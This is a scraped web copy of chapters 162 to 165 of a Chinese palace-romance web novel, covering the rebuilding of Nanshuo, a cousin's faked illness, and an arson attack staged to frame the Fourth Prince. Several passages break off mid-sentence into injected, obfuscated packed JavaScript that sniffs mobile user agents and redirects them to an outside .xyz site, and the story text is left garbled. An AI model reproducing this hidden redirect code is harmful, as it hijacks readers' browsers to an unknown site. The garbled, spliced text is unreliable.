凌芜眼睛一亮,心想:四皇子若知大小姐在南朔如此艰难的环境下,还为他亲手绣香囊,定会欢喜得不得了! 她忙道:“奴婢这就去找针线!” 不多时,身着戎装的夏嫣也回了营帐,见姜姝宁在昏黄油灯下低头缝制,忍不住劝道:“姝宁,这灯太暗,伤眼睛,白天再缝吧!” “白天要为病患施针,实在抽不出空。快些赶工,熬几晚就能做好。”姜姝宁头也不抬地应道。 “这香囊送给谁?值得你熬夜赶制?”夏嫣挤眉弄眼,“莫不是心上人?” “不是。”姜姝宁垂眸,“我惹了人生气,想用这香囊赔个不是。” “哦,给四皇子的吧?”夏嫣笑着道。 “你怎知道?”姜姝宁诧异抬头。 “南朔城里,除了他,谁还整天对你摆冷脸?不是他还能是谁?” 姜姝宁:“……” 有这么明显吗? 第162章 已经没了当初的悸动 第一百六十二章已经没了当初的悸动 整个南朔城,在萧凌川带来的士兵和幸存百姓的共同努力下,渐渐焕发出新的生机。 倒塌的房屋被清理,残破的城墙被修补,街道也被打扫得干干净净。 萧凌川带来的那些士兵,不再仅仅是戍边的战士,也成了南朔城重建的生力军,他们搬运石料,修葺屋舍,开垦荒地,汗水洒在这片曾经满目疮痍的土地上,孕育着新的希望。 而最让姜姝宁感到欣慰的,莫过于夏嫣的改变。 萧凌川大约是看出了夏嫣是个练家子,又或许是单纯想找个人分担军务,竟真的拨了一队士兵归她统领。 夏嫣得了这个机会,像是鱼儿回到了水里,整个人都鲜活了起来。 她每日带着那些士兵在城外的空地上操练,吼声震天。 起初,那些士兵见她身形清瘦,又是个生面孔,心里还有些不服气,总想寻衅滋事。 “我说,这位‘小将军’,细皮嫩肉的,能带咱们打仗吗?要知道,南朔可经常遭南月国敌兵挑衅,别到时候吓得尿裤子!”一个满脸横肉的士兵怪声怪气地说道,引来一阵哄笑。 夏嫣也不恼,只是冷冷地瞥了他一眼,随手从箭筒里抽出一支箭,也不搭弓,手腕一抖,那箭矢便“嗖”的一声破空而出,稳稳地钉在了百步开外一棵大树的树干上,箭羽兀自颤动不休。 “谁不服,出来比划比划。”夏嫣的声音清冽,带着不容置疑的威严。 那群士兵顿时目瞪口呆。 这臂力得多强才能做到? 至此,他们再不敢小觑这个看似文弱的“夏将军”。 他们哪里知道,眼前这位“小将军”不仅武艺高强,还是个女儿身。 因她每日都束着男儿发髻,穿着与士兵们无异的劲装,加上刻意压低了嗓音,竟无人看出破绽,都一口一个“夏将军”地叫着,还有不少年轻士兵崇拜她,时常缠着要与她比试拳脚。 前几日,一股小股的南月敌兵贼心不死,企图趁着夜色从后山偷袭,想要抢夺些粮草。 正是夏嫣带着她手下的士兵,利用山石和滚木,硬生生将那群南月兵给砸了回去,己方竟无一伤亡。 这一下,夏嫣在军中的威望更是水涨船高。 她每日忙着操练士兵,巡查防务,研究阵法,竟是忙得将二皇子都抛到了九霄云外。 直到前几日,二皇子萧锦瑜主动寻上门来,说是要与她切磋武艺。 彼时夏嫣正在校场上指点士兵们的枪法,见萧锦瑜来了,也只是淡淡地点了点头,算是打过招呼。 她心中毫无波澜,已经没了当初在京城时的那种悸动。 “夏兄弟,听闻你武艺精进不少,不如你我二人过几招,也好让我活动活动筋骨。”萧锦瑜笑着道。 夏嫣将手中的**往地上一顿,干脆利落地应道:“好啊,殿下请。” 两人你来我往,过了数十招。 夏嫣招式凌厉,攻守兼备,竟是丝毫不落下风。 反倒是萧锦瑜,不知是不是因为之前生病的缘故,应对略显吃力。 最后,夏嫣一个巧妙的虚晃,枪尖轻轻点在了萧锦瑜的肩头。 “殿下,承让了。”夏嫣收枪而立,语气平静无波,既无得意,也无半分旧日的小心翼翼。 萧锦瑜微微一愣,随即笑着道:“夏兄弟果然厉害,我输得心服口服。” 他看着夏嫣那张英气勃勃的面庞,眼中满是钦佩。 姜姝宁在不远处将这一切看在眼里,嘴角不由自主地扬起一抹欣慰的笑容。 夏嫣,是真的走出来了。 日后即便二皇子成婚,她也定能从容面对。 南朔城渐入佳境,患者得到及时的医治,城池重建,姜姝宁却不知,远在千里之外的京城相府,姜天泽正为她忧心如焚。 “大伯!大姐姐去徐州探亲,怎么这么久还没回来?都一个多月了,莫不是出了什么事?” 姜天泽隔三差五便闯进姜丞相的书房,翻来覆去问同一个问题。 姜丞相被他问得心烦意乱,却又不便直言,只得敷衍:“兴许是徐州亲戚投缘,她便多留了些时日。你安心读书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773243|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,少操这些心。” 姜天泽哪里肯信? 徐州不过几门远亲,平日往来稀疏,哪家亲戚能让大姐姐流连忘返,住上月余? 他总觉姜丞相在隐瞒什么,心中不安愈发浓重。 这夜,姜天泽辗转难眠,索性起身,悄悄潜入姜丞相的书房。 借着窗棂透进的微弱月光,他在书房中仔细翻找。 忽地,他瞥见书桌上放着一封新信,似是刚收到不久。 他抽出信纸,展开一看,熟悉的娟秀字迹跃入眼帘——正是大姐姐姜姝宁的笔迹! 姜天泽迫不及待读下去。 信中,姜姝宁先向父亲报平安,言称一切安好,勿需挂念。 随后提及南朔城正在重建,南月毒猫留下的祸患已受控制,**的病患也得到妥善救治,一切都在好转。 她预计再过一月,便可随大军返京。 “南朔……” 他的血管里的血液,在这一瞬间仿佛凝固了。 大姐姐,竟然去了那样凶险的地方! 姜姝宁还要再过一月方能返京,姜天泽如何等得下去? 一日不见,如隔三秋,他对姜姝宁的思念早就成狂了。 第二日,他便对姜三夫人和姜丞相谎称这段时日要闭关学习,在骊山书院住一两个月,等姜三夫人和姜丞相都同意后,他便带着盘查骑上快马,往南朔方向而去。 他身上没有路引,不能走官道,只能沿着山野和荒林一路往南。 好在他从小擅制**,随身携带的毒物震慑了猛兽虫蛇。 途中偶遇两名**,见他是个少年,想抢他身上的财物,反倒被他放倒,身上的财物被他洗劫一空不说,还被活活毒死。 “也算为民除害了!”对着两名**的尸体,他冷笑着道。 接着便马不停蹄,日夜兼程地赶路,终于赶在初冬第一场雪来临时抵达南朔城。 看着城门上“南朔”两个字,他唇角勾起一丝笑:“大姐姐,我来了!” 下一刻,他便直接倒在城门外,不省人事…… 第163章 他想吻她 第一百六十三章他想吻她 守在城外的士兵见有人倒在城门口,一看那少年模样有些几分像四皇子萧凌川,以为又是哪个皇子被送到南朔城来历练,连忙将他带回城里。 很快,凌风便认出他是姜家三少爷,连忙将此事告诉给姜姝宁。 姜姝宁见姜天泽衣衫破烂,满身风尘,顿时心疼不已,忙将他安置在营帐卧榻上,亲自为他喂汤喂药,细心照料。 孙神医便被请了过来,仔细为姜天泽把了脉,对姜姝宁道:“姜小姐不必过于忧心,姜三公子只是连日奔波,劳累过度,兼之有些水土不服,并无大碍。老夫开几剂调理的方子,好生休养几日便能恢复。” 听孙神医这么说,姜姝宁悬着的一颗心才稍稍放下。 她亲自去煎了药,又让厨房熬了些清淡的米粥,一勺一勺地小心喂给昏迷中的姜天泽。 姜天泽醒来时,已经是深夜。 营帐内只点着一盏昏黄的油灯,光线黯淡。 鼻息间,却萦绕着一股熟悉的、淡淡的馨香,那是大姐姐身上独有体香。 这个认知让他混沌的脑子清醒了几分。 他转动了一下僵硬的脖子,便看到姜姝宁趴在他的床边,头枕着手臂,已然熟睡。 昏暗的灯光柔和地笼罩着她的侧脸,长长的睫毛在眼睑下投下一小片阴影,显得格外柔美恬静。 姜天泽的心,蓦地漏跳了一拍。 一股难以言喻的悸动,如同电流般窜过四肢百骸。 有个疯狂的念头在他心底滋生。 他鬼使神差般地慢慢支起身子,一点一点地凑近姜姝宁。 他想吻她,想吻这张朝思暮想的脸。 就在他的唇即将触碰到她脸颊的那一刹那,姜姝宁长长的睫毛忽然颤动了一下,然后缓缓睁开了眼睛。 四目相对。 姜天泽整个人都僵住了,大脑一片空白,所有的动作都停滞在半空中,脸上还保持着那个意图不轨的姿势。 他甚至能从姜姝宁清澈的眼眸中,看到自己此刻慌乱的倒影。 还没等他想好如何解释,或者干脆撤退,就听到姜姝宁欣喜的声音响起:“天泽?你醒了?” 她似乎完全没有察觉到他刚才的异样举动,只是惊喜地看着他,眼中满是关切。 这个声音不大,却足以将睡在不远处行军床上的夏嫣和凌芜也一并吵醒了。 姜天泽这才发现,这个营帐里住着的不仅有他的大姐姐,还有另外两个女子。 “天泽,你可算醒了,你大姐姐都担心得茶饭不思。你说你,怎么一个人来南朔?这一路受了不少苦吧?”夏嫣边打着呵欠边说道。 凌芜见他醒了,神色也松缓了些:“三少爷,你既然醒了,身体若无大碍,明日还是搬去四皇子殿下的营帐那边吧。我们在这里虽然平日里都作男子打扮,但毕竟男女有别,夏姑娘也尚未婚配,总不能一直留您在此处歇息。” 姜天泽见她要赶自己走,连忙装出虚弱的模样,轻咳起来,对姜姝宁道:“大姐姐,我好难受……” 姜姝宁原本正想好好问问他为何如此鲁莽行事,竟只身来到南朔。可见他这副孱弱不堪的模样,哪里还忍心责怪。 她柔声安抚道:“好了好了,不舒服就别说话了。现在已经是深夜,你先好好休息。明日一早,我再让孙神医来给你瞧瞧。若是还未大好,你便继续睡我的床榻,我在床边打个地铺小憩便是,无妨的。” “谢谢大姐姐。”姜天泽目的达成,心中窃喜,面上却依旧是一副虚弱无辜的表情,顺势躺回了床上。 他伸手拉住了姜姝宁的手,可怜巴巴地望着她:“大姐姐,我有点害怕,你能不能……握着我的手睡觉?” 姜姝宁轻轻拍了拍他的手:“自然可以。安心睡吧,我就在这里陪着你。” 她只把年仅十六岁的姜天泽当成一个受了惊吓的孩子,又是自己的堂弟,没有往其他方面去想。 然而,一旁的夏嫣和凌芜却面面相觑,脸上不约而同露出怪异的神色。 她们可都清楚得很,这位姜三少爷敢只身从千里之外的京城跑到这兵荒马乱的南朔城,这份胆识和本事,绝非常人可比。 可眼下,他却表现得如此脆弱不堪,甚至像个小孩子一样撒娇依赖,这反差实在太大,令人费解。 若说他不是装的,她们可不信。 第二日清晨,姜姝宁早早便叫来了孙神医为姜天泽复诊。 孙神医为姜天泽把了脉,原本还算轻松的神色渐渐变得凝重起来。 “奇怪,真是奇怪……姜三公子的脉象,怎会如此不稳?浮而无力,数而失常,这……这像是得了重病的征兆啊!必须好生静养,万不可再劳累了!” 姜姝宁闻言大惊失色,连忙伸手去探姜天泽的额头,果然触手一片滚烫。 “怎么会这样?孙神医,您昨日给他把脉的时候,不是还说只是劳累过度,并无大碍吗?” 孙神医也是一脸困惑:“老夫昨日为姜三少爷诊脉,脉象确实平稳有力,虽有虚浮之态,但绝非重病之相。可仅仅一夜之间,竟会恶化至此……” 他顿了顿,又道,“不过姜小姐也莫要太过忧心,待老夫开几剂猛药,先将这热退下去再说。” “有劳孙神医了!既然他还病着,那就继续留在我营帐里吧,也方便我日夜照料他。”姜姝宁道。 躺在床上的姜天泽听到这话,唇角不禁勾起一丝得逞的笑。 他自然不是真的病得如此严重,只是偷偷服用一种能让人在短时间内出现高热、脉象紊乱症状的**。 为了能名正言顺地留在大姐姐身边,他受点苦也是值得的。 这番装模作样的把戏,把其他人都骗得团团转,却唯独瞒不过一个人——四皇子萧凌川。 萧凌川一大早便听说了姜家三少爷千里寻姐,结果病倒在姜姝宁营帐的消息。 当天下午,他便沉着脸,径直闯进了姜姝宁的营帐。 彼时姜姝宁正端着一碗刚熬好的汤药,准备喂给姜天泽。 “四皇子殿下?”见到萧凌川突然出现,她有些意外。 萧凌川却看也未看她一眼,径直走到床边,目光如炬地盯着躺在床上“奄奄一息”的姜天泽,冷哼一声。 姜天泽被他看得心里发毛,下意识地往被子里缩了缩。 “本王看姜三公子这病,来得蹊跷,好得也该快些才是。”萧凌川语气冰冷,不带一丝温度。 他猛地一伸手,竟是直接掀开了姜天泽身上的被子,然后像拎小鸡仔一样,一把将还在装病的姜天泽从床上拎了起来! “殿下,你这是做什么!天泽他还病着!”姜姝宁大惊失色,连忙放下药碗,想要上前阻止。 萧凌川却头也不回,冷声道:“他这病,在本王的营帐里,由孙神医日日亲自看顾,想必会好得更快一些!” 说完,也不顾姜天泽挣扎和姜姝宁呼喊,便像拎着一只不听话的猫崽子一般,大步流星地将姜天泽拎出了姜姝宁的营帐,径直带回了自己的营帐。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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否则自己对姜姝宁那点隐秘的心思,岂不是被外人看得一清二楚? 他定了定神,拱手道:“回禀四皇子殿下,在下如今也算是殿下麾下之人。听闻殿下亲临南朔,是为了解决南月国毒猫之患,为国分忧。在下想着或许能来此尽一份绵薄之力,助殿下一臂之力!” 萧凌川挑了挑眉,审视地看着他,似乎在判断他话中的真假。 半晌,他才缓缓开口,神色也缓和了些许:“哼,算你还有几分上进之心,不枉姜丞相倾力栽培你为相府继承人。既如此,那你便暂时留下来帮忙吧!不过,若是让本王发现你阳奉阴违,或者再敢去骚扰姜姑娘……后果你是知道的。” 最后那句话,萧凌川说得意味深长,带着一丝显而易见的警告。 姜天泽心中一凛,连忙躬身道:“殿下放心!在下定当尽心竭力,不敢有半分懈怠!” 心里却暗暗叫苦,看来以后想再亲近大姐姐,怕是难上加难了。 姜天泽倒也并非全无用处。 被戳穿装病后,他便日日上山狩猎,为士兵与百姓带回不少野味。 寒冬将至,有了这些猎物,南朔百姓再也无需为缺粮过冬而忧心。 姜姝宁为此夸赞他几句,他心中甜滋滋的,打猎愈发卖力。 后来,南朔附近山头的猎物被他猎尽,他便以特制的**粉,引来南月国边境的猎物。 南月国驻军本指望这些猎物过冬,如今被姜天泽尽数夺走,气得暴跳如雷。 南朔的百姓与士兵听闻此事,笑得前仰后合。 每日充满希望,众人竟有些不舍离南朔返京。 然而,无人察觉,一场可怕的危机正在悄然逼近…… 第164章 安置所失火 第一百六十四章安置所失火 姜氏姨娘听闻萧凌川不仅未在南朔殒命,还治愈了身中南月猫毒之人,顿时怒不可遏。 她马不停蹄地赶往南朔,趁着夜色,用轻功轻易避开城外巡逻的士兵,如鬼魅般翻墙入城。 翌日清晨,她扮作一名老妪,混在人群中,在南朔城内游走。 一入城内,眼前的景象让她瞳孔骤缩。 街道虽然算不上繁华,却也干净整洁,孩童们在街头巷尾嬉戏打闹,商贩们也开始重新支起摊位,吆喝声此起彼伏,一派欣欣向荣的景象。 跟当初南月猫毒在城中肆虐的场景相差甚远。 更让她难以忍受的是,无论走到哪里,都能听到百姓们对四皇子萧凌川的交口称赞。 “要不是四皇子殿下,我们这些人早就没命了!” “是啊是啊,四皇子殿下真是咱们的救命恩人!不仅给我们吃的,还请来了神医,治好了这场比疫病还可怕的猫毒!” “有这样的好皇子,真是大邺的福气啊!” 姜家姨娘听着这些发自肺腑的感激之言,心中的怒意越烧越旺,几乎要将她的理智吞噬。 她精心设计的陷阱,不仅没能要了萧凌川的命,反而成了他收拢人心的垫脚石! 若继续下去,那还得了? 她眯起双眼,嘴角浮现一抹阴冷的笑意。 萧凌川如今被众人捧得如此之高,她定要让他尝尝身败名裂、沦为万人唾弃的滋味! 入夜,月黑风高。 姜家姨娘换上一身夜行衣,如狸猫般潜入军营中的兵器库,轻而易举地偷走了几套士兵的盔甲。 随后,她来到城中一处偏僻的赌场,用几锭沉甸甸的银子,收买了几个平日里游手好闲、臭名昭著的地痞流氓。 姜家姨娘递给他们一张字条,教他们应该如何做,并在字条末尾加上一句话:“事情办好了,这些金子也都是你们的。” 那几个地痞流氓看着黄澄澄的金子,眼睛都直了,连连点头哈腰:“夫人放心,保证办得妥妥当当!” 子时,万籁俱寂。 几道鬼祟的身影,穿着明显不合身的士兵铠甲,扛着火把和柴薪,悄无声息地摸到了城南一处临时搭建的安置所。 那里,住着最后一批中了南月猫毒尚未完全痊愈的患者。 “就是这里了,动手!”为首的地痞压低声音,眼中闪烁着贪婪与兴奋的光芒。 柴薪被堆放在木屋四周,火把一点,干燥的木柴遇火即燃,火舌迅速舔舐着屋墙,发出“噼里啪啦”的爆裂声。 刺鼻的浓烟很快灌满了屋子。 “咳咳……咳咳咳……怎么回事?” “着火了!着火了!” 屋内的病患们被呛醒,惊恐地发现四周已是一片火海。 他们挣扎着想要推开门窗,却绝望地发现,房门早已被人从外面死死锁住,就连窗户也被封得严严实实! “开门!快开门啊!” “外面的人是谁?为什么要害我们?” “救命啊!救命啊!” 绝望的哭喊声、拍门声、咳嗽声交织在一起,在寂静的夜空中显得格外凄厉。 就在这时,门外传来了几个粗嘎的声音,正是那几个地痞流氓,他们按照姜家姨娘事先教好的话,扯着嗓子大喊: “嚷嚷什么!实话告诉你们,医治你们这些废物太花费钱财了,朝廷的银子也不是大风刮来的!四皇子殿下说了,不如一把火烧了干净,省事!” “没错!你们都**,四皇子殿下就能早日回京交差!你们就乖乖认命吧!” “要怪,就怪你们自己命贱,久治不愈,成了殿下的累赘!” 屋内的病患们闻言,如遭雷击。 他们不敢相信自己的耳朵! 那个带领他们躲过劫难、为他们寻医问药的四皇子殿下,竟然要烧死他们? 因为他们是累赘?因为医治他们太花钱? “不!这不是真的!” “四皇子殿下不会这么对我们的!他救了我们啊!”有病患虚弱地反驳,但声音很快被更大的火势和绝望淹没。 “四皇子你心肠如此毒辣,我们做鬼也不会放过你!” “枉我们还当你是救星!你不得好死!” “苍天无眼啊!我们到底做错了什么,要遭这样的罪!” 求生的本能被彻底的绝望取代,病患们在烈火中发出最恶毒的诅咒。 火光冲天,浓烟滚滚,很快惊动了整个南朔城。 “走水了!城南走水了!” “快救火啊!” 萧凌川瞬间被惊醒,他一边火速披上外衣,一边厉声下令:“凌风!集合队伍,救火!” 大批士兵举着火把,提着水桶,朝着火场飞奔而去。 但火势实在太大了,木质的房屋本就易燃,加上有人刻意堆放了助燃之物,火龙肆虐,将半边天都映得通红。 “快!快把门撞开!”萧凌川看着熊熊燃烧的房屋,心头涌起一股不祥的预感,脸色铁青。 淋上水的士兵们用巨木撞击着被反锁的屋门,“轰隆”一声,烧得焦黑的门板终于被撞开。 热浪裹挟着浓烟扑面而来,呛得人睁不开眼。 “里面还有人!快救人!” 士兵们冒着生命危险冲入火场,从里面抬出一个个被烧得面目全非的病患。 姜姝宁和孙神医也带着药箱赶到了,看着眼前惨不忍睹的景象,姜姝宁只觉得一阵天旋地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773245|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转,胃里翻江倒海。 怎么会这样? 为什么偏偏是最后一批病患遭此厄运? “快!这边的还有气息!”孙神医经验老道,立刻指挥着士兵将尚有气息的伤者抬到空旷地带。 经过一番奋力扑救,大火终于被扑灭。 然而,安置所此刻已然化为一片焦黑的废墟。 里面的几十名病患,死伤大半。 侥幸被救出来的,也大多奄奄一息,浑身烧伤,惨不忍睹。 那些幸存者,在剧痛和惊恐中,口中不断重复着几乎相同的话语: “是四皇子……是四皇子殿下下令放火烧我们的……” “他嫌弃我们是累赘……他说医治我们太花钱了……” “他说……让我们**,他好回京交差……” 断断续续的指控,如同魔咒一般,在死寂的火场上空回荡。 所有听到这些话的南朔百姓,一时间都惊呆了。 他们不敢相信,前几日还被他们奉若神明的四皇子,转眼间就变成了要将他们赶尽杀绝的恶魔。 很快,那些在大火中失去亲人的家属们,哭嚎着赶了过来。 “我的儿啊!你**得这么惨啊!” “天杀的!是谁放的火!是谁害了我的丈夫!” 当他们从幸存者口中得知“真相”后,所有的悲痛和愤怒,瞬间找到了宣泄的出口,齐齐指向了站在废墟前,面色冷峻的萧凌川。 “四皇子殿下!你为什么要这么做!”一个失去儿子的老妇人冲上前,悲愤地质问。 “我们哪里对不住你了?你要用这样歹毒的手段害死我们!” “你还我儿子的命来!” “**凶手!血债血偿!” 群情激愤,百姓们甚至手持棍棒石块,一步步逼近萧凌川。 萧凌川站在那里,身姿挺拔如松,面对汹涌而来的指责和唾骂,只冷冷地吐出几个字:“我没有下过这样的命令!” 他的声音不大,却带着一股不容置疑的威严,穿透了嘈杂的哭喊声。 “没有?那些活下来的人都亲耳听到了!是穿着你们士兵铠甲的人亲口说的!还能有假吗?”一个失去妻子的壮汉红着眼睛怒吼,唾沫星子几乎喷到萧凌川脸上。 “对!我们都听见了!就是你麾下的士兵干的!” “你这**子,蛇蝎心肠!我们定要**圣上,告御状!” 眼看着激动的百姓就要冲上来,将萧凌川撕成碎片,凌风和其他亲卫神色一凛,“唰”地一声拔出腰间的佩剑,护在萧凌川身前,剑尖直指人群。 “保护殿下!”凌风怒喝,眼神冰冷如刀。 气氛瞬间剑拔**张,一场**眼看就要爆发。 第165章 他比前世好哄 第一百六十五章他比前世好哄 姜姝宁刚为一名烧伤的妇人包扎完伤口,抬头便看到了这惊心动魄的一幕。 她心中一紧,也顾不得手上的污渍,慌忙起身,不顾一切地冲到了萧凌川和愤怒的百姓之间。 “大家冷静!请大家冷静听我说!” 她的突然出现,让原本剑拔**张的场面出现了一丝凝滞。 百姓们看着这个曾经救治过他们的“姜大夫”,脸上的怒容稍稍收敛了几分,但眼中的怀疑和悲愤却丝毫未减。 “姜大夫,你让开!这不关你的事!我们要找这个狼心狗肺的四皇子算账!”有人喊道。 姜姝宁努力让自己镇定下来,大声道:“各位乡亲!这当中肯定有误会!请你们仔细想一想,四皇子殿下从抵达南朔到现在,可曾做过一件伤害百姓的事情吗?” 她环视四周,目光坚定而诚恳:“若是殿下真嫌弃病患是累赘,当初南月猫毒爆发之时,他为何不直接率领兵马,将所有感染的百姓全部屠戮干净?那样岂不是更省事,更能早日回京交差? 何必还要与大家一同潜伏在地窖之中,冒着被感染的风险,苦苦支撑那么多时日,等待我们前来?” “如今,这已经是最后一批病患了,眼看大家就要痊愈,南朔城就要恢复往日的安宁,殿下又何必在这个时候,多此一举,放一把火烧死他们,还故意让士兵说出那样的话来?你们不觉得这太不合情理了吗?” “这分明是有人在暗中捣鬼,故意栽赃陷害四皇子殿下!若是大家今日不分青红皂白,将这盆污水泼在殿下头上,那才是真正遂了那个幕后黑手的意啊!” 姜姝宁一番话,有理有据,掷地有声。 原本被愤怒冲昏头脑的百姓们,听她这么一分析,也渐渐冷静下来。 是啊,姜大夫说得有道理。 四皇子殿下若真想杀他们,何必等到现在? 当初他们病得最重,毫无反抗之力的时候,不是更容易下手吗? 况且,当时就算杀了那些中了南月猫毒的患者,他们也不会有任何异议。 仔细想来,那些士兵的言辞,也确实有些刻意,仿佛生怕别人不知道是四皇子下令似的。 人群中开始出现窃窃私语,看向萧凌川的目光,虽然依旧带着悲伤,却少了方才那股不死不休的仇恨。 “姜大夫说的……似乎有些道理……” “可……可是,我们的亲人都**啊!这火确实是那些穿着铠甲的士兵放的,那些话也是他们说的……”一个老者颤声说道,眼泪纵横,“他们的仇,到底该由谁来报呢?” 萧凌川看着挡在自己身前的纤弱身影,心头掠过一丝复杂难言的情绪。 他上前一步,与姜姝宁并肩而立,深邃的目光扫过众人悲痛的脸庞,声音沉稳而坚定: “诸位乡亲,我理解你们此刻的心情。逝去的生命无法挽回,但我向你们保证,这件事绝非我所为。” 他顿了顿,语气中带着不容置疑的决绝,“大家若信得过我,便给我几天时间。我一定会查个水落石出,将那些真正放火行凶、残害无辜的凶手揪出来,给死者一个公道,给南朔城所有百姓一个交代!” 他的声音带着一股安抚人心的力量,又透着不容置喙的威严。 百姓们面面相觑,原本汹涌的怒火,如同被无形的手按捺下去几分。 他们看着眼前这个身形挺拔、眉眼冷峻的皇子,再看看旁边神色温和却目光坚定的姜姝宁,心中紧绷的防线渐渐有所松动。 终于,先前那个哭诉的老者,声音嘶哑地道:“好,我们便信殿下一次!请殿下务必帮我们找出杀害我们家人的凶手,以慰藉我们无辜死去的亲人!” 他说着,便要跪下。 萧凌川眼疾手快,一把扶住了他:“老人家不必如此。查明真相,还枉死者清白,本就是我一个大邺皇子的职责。” “谢殿下!求殿下为我们查明真相!” 其他百姓见状,也纷纷附和:“求殿下为我们查明真相!” 声音此起彼伏,虽然依旧悲戚,却少了几分尖锐的指责,多了几分期盼。 萧凌川点了点头,声音沉肃:“我会的,诸位等我消息!” 得了萧凌川的承诺,百姓们的情绪总算平复了些,在士兵的疏导下,一步三回头地渐渐散去,只留下满目疮痍的火场和弥漫在空气中的焦糊味。 直到最后一个百姓的身影消失在街角,萧凌川才缓缓收回目光。 他侧过头,看向身旁的姜姝宁,方才面对百姓时的冷硬褪去几分,眼神复杂。 下一刻,他竟是朝她郑重地躬身行了一礼:“方才,多谢姜姑娘相助!” 姜姝宁一愣。 她还是第一次见萧凌川如此客气,一时间有些反应不过来。 他这是转性了? 他继续道:“若非姜姑娘及时出言,只怕今日之事难以善了。这份情,我记下了。” “殿下言重了,你我如今是盟友,我自然是要帮你的。况且,臣女只是说了该说的话,相信殿下并非滥杀无辜之人。”姜姝宁顿了顿,关切地问,“殿下准备如何找出真正纵火的凶手?若需要臣女的帮助,随时开口!” “不必了,我自有法子!”他的声音恢复了往日的冰冷,转身离开,似乎不愿再多言。 看着他近乎冷酷的背影,姜姝宁心中一阵无奈。 怎么如此阴晴不定? 刚走了几步,他像是猛然想到了什么,霍然回过头来。 他几步便重新走到了姜姝宁面前,那双深邃的眸子紧紧锁住她,目光比方才面对那些激愤百姓时还要凌冽几分,带着一股审视和逼问的意味。 “姜姝宁,”他声音低沉,带着一丝压抑的怒火,“你当真如此爱慕萧怀瑾?” 姜姝宁被他这突如其来的质问弄得一头雾水,完全跟不上他的思路:“殿下,你在说什么?” 这都哪儿跟哪儿啊? 前一刻还在讨论纵火案,怎么下一刻就跳到萧怀瑾身上去了? 萧凌川冷笑一声,眼神更加冰冷:“不必否认!你曾亲口说过,香囊是要送给心上人的!那个绣了‘瑾’字的香囊,你敢说不是给萧怀瑾的!” 又是这茬! 姜姝宁简直想翻个白眼。 这香囊的事情,他到底要介意到什么时候? 这段时日他对她的忽冷忽热,该不会都是因这香囊而起的吧? 她深吸一口气,耐着性子解释道:“殿下,这香囊的确是臣女打算做给五皇子殿下的,但并非因为爱慕,而是为了表达歉意。” “歉意?”萧凌川眉头紧蹙,显然对这个答案并不满意“你对他有何歉意?” 姜姝宁迎上他审视的目光,坦然道:“若非因为臣女,殿下您怎会极力撮合五皇子殿下和苏家的婚事?臣女知道,此事对崔苏两家,甚至对整个大邺的朝局都有好处,于殿下而言,也是一步重要的棋。 但对五皇子而言,自己的终身大事,如今成了联结两家利益的工具,他心中想必会很难过吧?臣女自觉此事因我而起,心中有愧,所以才想着做个香囊给他,以此作为表达歉意的礼物,仅此而已。” 听到这话,萧凌川紧绷的神色才有了几分缓和。 “即便如此,你也不能拿着原本要送他的香囊来糊弄我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782035|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 一想到那个绣着别人名字的香囊,他心里还是有些不痛快。 姜姝宁自知理亏,只能低下头,小声道:“是,臣女知错。臣女会重新为殿下做一个新的香囊。” 若不是因为姜天泽忽然来了南朔,又病倒了,她原本是有更多时间为萧凌川做香囊的。 现在那个香囊还差最后一点收尾,暂时还不能给他。 “当真?”萧凌川眉梢微挑,方才心头的怒意竟在听到这话时奇迹般消散,甚至隐隐透出几分期待,“那我便拭目以待。这一次,莫要再让我失望了!” “是,殿下!”姜姝宁恭声应下,心中暗自松了一口气。 没想到此事竟如此轻易便揭过了。 看来今生的萧凌川,比前世好哄。 萧凌川深深地看了她一眼,这才转身,大步流星地离开了。 他回到营帐,立刻吩咐凌风:“去查!昨夜火起之时,所有经过城南安置所的人,一个都不要放过!还有,那几个最先煽动百姓情绪的人,也给我盯紧了!” “是,殿下!”凌风领命而去。 很快凌风便带回了消息。 他从昨夜打更人和安置所附近仓库的守夜人口中得知,昨夜三更天左右,确实有四五个身穿大邺军制式铠甲的男子鬼鬼祟祟地经过一个小巷,不久后便发生了火灾。 而那几个男子离开时,行色匆匆,似乎将什么东西丢弃在了一条通往西街的巷子里。 凌风立刻带人前往那个小巷搜查,果然在巷子深处一个隐蔽的角落里,找到了几件**乱丢弃的铠甲,上面还沾着些许烟灰和焦糊的气味。 